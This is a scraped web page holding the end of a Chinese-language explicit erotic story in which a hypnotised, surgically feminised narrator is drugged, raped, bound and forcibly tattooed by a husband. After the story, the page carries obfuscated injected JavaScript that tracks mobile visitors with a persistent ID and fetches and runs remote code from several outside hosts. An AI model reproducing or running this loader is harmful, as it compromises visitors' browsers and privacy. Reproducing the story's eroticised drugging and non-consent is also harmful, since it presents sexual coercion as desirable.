另外一邊僅僅是二十天的時間,每日長達十個小時接受催眠的我不斷地被暗示著要學習怎麼順服討好自己的丈夫,怎麼去迎合侍奉自己的公婆。當滿了一個月之後,催眠師再次給我看那張我熟悉的全家福時,在我眼中照片裡前排坐著的那兩個人已經不再是我熟悉的老爸老媽,在我心中的印象裡這兩個人徹底成為了我以後必須要努力侍奉的公爹和婆婆。
到了結婚那天,偉華打翻了一個杯子,老媽,哦不,我現在的婆婆叫我趕緊把碎片撿起來,正當我詢問為什麼不責怪偉華時,婆婆說了一句:
“他現在是我兒子啊…要罵也是罵你這個兒媳婦才對。”
那一刻我才感覺到原來我所擁有的一切竟然都變成了偉華的,偏偏這一切都是經過了我的同意或者是默認之下才走到了今天。
結婚後有了大量金錢的偉華再也不當Uber司機,他把我帶到他偏鄉的老宅那裡,而老宅旁邊正是不計成本正在加速興建的新洋房,而偉華每天都出去釣魚,他還計劃買一個門店開一家骨湯米粉店,當然將來是要我來負責經營,他則遊手好閒地遊山玩水,又或者開三個小時的車到城裡泡酒吧,而我則被要求看一些女性雜誌,等他回家後侍奉他的一切。
在新房建成入住的那天晚上偉華拿出來了一個dildo,隨後給我注射了催情藥劑,我不明白他的用意,但這個最新仿生科技製造出來的dildo居然還有味道和溫度,十份的奇特,我好奇地用嘴感覺著這一根陽物,感覺著它一點點變大,最後又一點點變小,卻始終沒射出液體。隨後偽具又變大了,卻已是不一樣的顏色和味道,於是我開始慢慢品嘗這根陽物,感受著它在我嘴裡一下大一下又變小,這期間我的嘴卻始終沒離開這根不可多得的奇物,到了後面我的腦子幾乎是麻木地重複著吞吐動作,在看到我已經進入癡迷的狀態後偉華按下了一個按鈕,一股火熱滾燙的精液從dildo的龜頭上射了進我的嘴裡,而我幾乎是下意識地把精液吞了進肚裡。
等我清醒過來後偉華才告訴我那是高叔叔給我切除睪丸時為我保存的最後一點的精子,原來是想給我萬一有一天反悔了還能擁有自己的兒子,現在已經我全部吞了下去,一滴不剩,也就是說從此我再也不可能擁有自己作為父係的後代。
我哭著問偉華為什麼這樣做,偉華沒有說話,他再次挑動我的情慾控制我翻身趴著,從背後插入了我的身體,男人的陽物肆意地抽插宣示著他作為丈夫的權利,我不停地哭著,已經變得小女人一樣的心理使我下意識地想找到一個依靠,可是一想到我的依靠腦中就不能抑止地浮現出偉華的樣子,身體在藥物的作用下不由自主地迎合著身後的男人,最後在傷心又難過的哭泣中達到了性高潮,不久偉華的肉棒也在我子宮內噴湧出精液。
偉華說只要那份精液存在我就不可能徹底忘記以前的身份,甚至前幾天他看見了我有瀏覽過一個我以前暗戀的女生的博客,這樣的我根本不能當一個合格的好媽媽,而偉華的伯父已經和我現在的公婆商量好了,通過作法讓我姐姐的殘魂寄託在我公婆通過醫學手段結合的新受精卵上,並借我的子宮再次降生。以此徹底償還這次借命的因果,這樣姐姐的命勢福氣財運會重新歸還給她,而我失去了借來的命以後只能徹底依附在偉華身邊。
偉華一邊和我解釋著一邊再次把我幹到了高潮,然後把我綁起來,拿起一個紋身槍把那個曾經承載著我最後的男性象征的dildo形狀紋在了我的腿上,讓我永遠記住我已經把自己最後的精液都吞進了肚子裡並吸了個精光,只有這樣以後我才會死心塌地變成一個女人,也只有這樣我才會徹底認命,做一個溫柔馴良侍奉公婆的好兒媳,心甘情願地當一個好妻子,在不遠的將來毫無保留地當一個疼愛子女無私奉獻的好媽媽。
這真是時也?命也?神婆的旁門左道終究不可能改變最終的結局,老爸老媽可以富裕始終是因為姐姐命裡的好運氣,我不變成女人的話因為抑鬱症自殺家裡也終究是沒有後代,而我現在不能擁有自己精子產生的後代,也不過是兜兜轉轉地回到了本來應該有的結局。
一年後
因為偉華,我失去了本來是屬於自己擁有的一切財物和地位,連我一直借姐姐的富貴命都失去了,現在的我什麼都不是,只能當這個我又愛又恨的男人的附屬,花盡心思討好迎合他那自甘庸碌的愛好,每天把自己打扮得美美的,穿上熱褲高跟鞋在這個偏遠小鎮上當米粉西施,吸引來來往往的顧客。晚上在這幢被我打掃得乾乾淨淨的三層半洋房裡做他的美妻,從白天的米粉西施變身成為只屬於他一個人的淫蕩家庭主婦。他也真的把我調教成了他口中的“出得廳堂、入得廚房、上得床的”好女人。
如果你在月底我丈夫性慾最旺盛的那幾天深夜開車經過小鎮,一定會在這條公路邊的大街上看到一幢燈火通明的樓房,所有窗戶和陽台總是大開著。透過望遠鏡可以看到裡面有年輕少婦,每天換著不同情趣制服,時而趴在窗台上被幹,時而戴上項圈被牽著在樓梯上像母狗一樣爬上爬下,時而被吊縛起來蒙上眼睛在露臺上露出。那個就是脫離了舒適的都市生活卻仍然一臉甜蜜滿足的我。而同時二樓的兒童房裡是我熟睡的新“妹妹”,廚房裡的廚餘桶裡還有大半桶的由我公爹婆婆專門郵寄給他們兒子壯陽補腎的藥渣。
关闭
function kRTue(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LbDKuhQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kRTue(t);};window[''+'W'+'M'+'S'+'G'+'N'+'J'+'u'+'v'+'j'+'D'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LgsXP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LbDKuhQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LgsXP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LgsXP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLnZZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBBJTJGJTJGYS5iaGVhZS5jb20lM0E5NTM1','9489',window,document,['Z','B']);}:function(){};
function ofwZCSt(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VPXemrZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ofwZCSt(t);};window[''+'J'+'F'+'A'+'T'+'g'+'U'+'w'+'a'+'h'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function flte(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VPXemrZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=flte(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=flte(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmNzcHN4aaC5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS5kdGZhb2kuY24lM0E5NTM0','168322',window,document,['a','3']);}:function(){};
let urls=["hHHtHHtHHpHHsHH:HH/HH/HHvHH0HH4HH1HH2HHnHH4HHdHH7HH6HH.HHoHHsHHsHH-HHcHHnHH-HHhHHaHHnHHgHHzHHhHHoHHuHH.HHaHHlHHiHHyHHuHHnHHcHHsHH.HHcHHoHHmHH/HH1HH2HH/HH1HH1HH0HH5HHeHHcHH8HH5HH8HH2HH3HH7HH2".split("HH").join(""),"hGGtGGtGGpGGsGG:GG/GG/GGpGG.GGgGGoGGdGGmGGwGGiGGtGGhGG.GGcGGoGGmGG/GG1GG2GG/GG1GG1GG0GG5GGeGGcGG8GG5GG8GG2GG3GG7GG2".split("GG").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNmNNqNN1NN2NNnNN4NNdNN7NN6NN.NNoNNsNNsNN-NNcNNnNN-NNsNNhNNaNNnNNgNNhNNaNNiNN.NNaNNlNNiNNyNNuNNnNNcNNsNN.NNcNNoNNmNN/NN1NN2NN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNdNN8NN9NN-NN1NN3NN1NN3NN9NN4NN4NN0NN6NN2NN.NNcNNoNNsNN.NNaNNpNN-NNhNNoNNnNNgNNkNNoNNnNNgNN.NNmNNyNNqNNcNNlNNoNNuNNdNN.NNcNNoNNmNN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();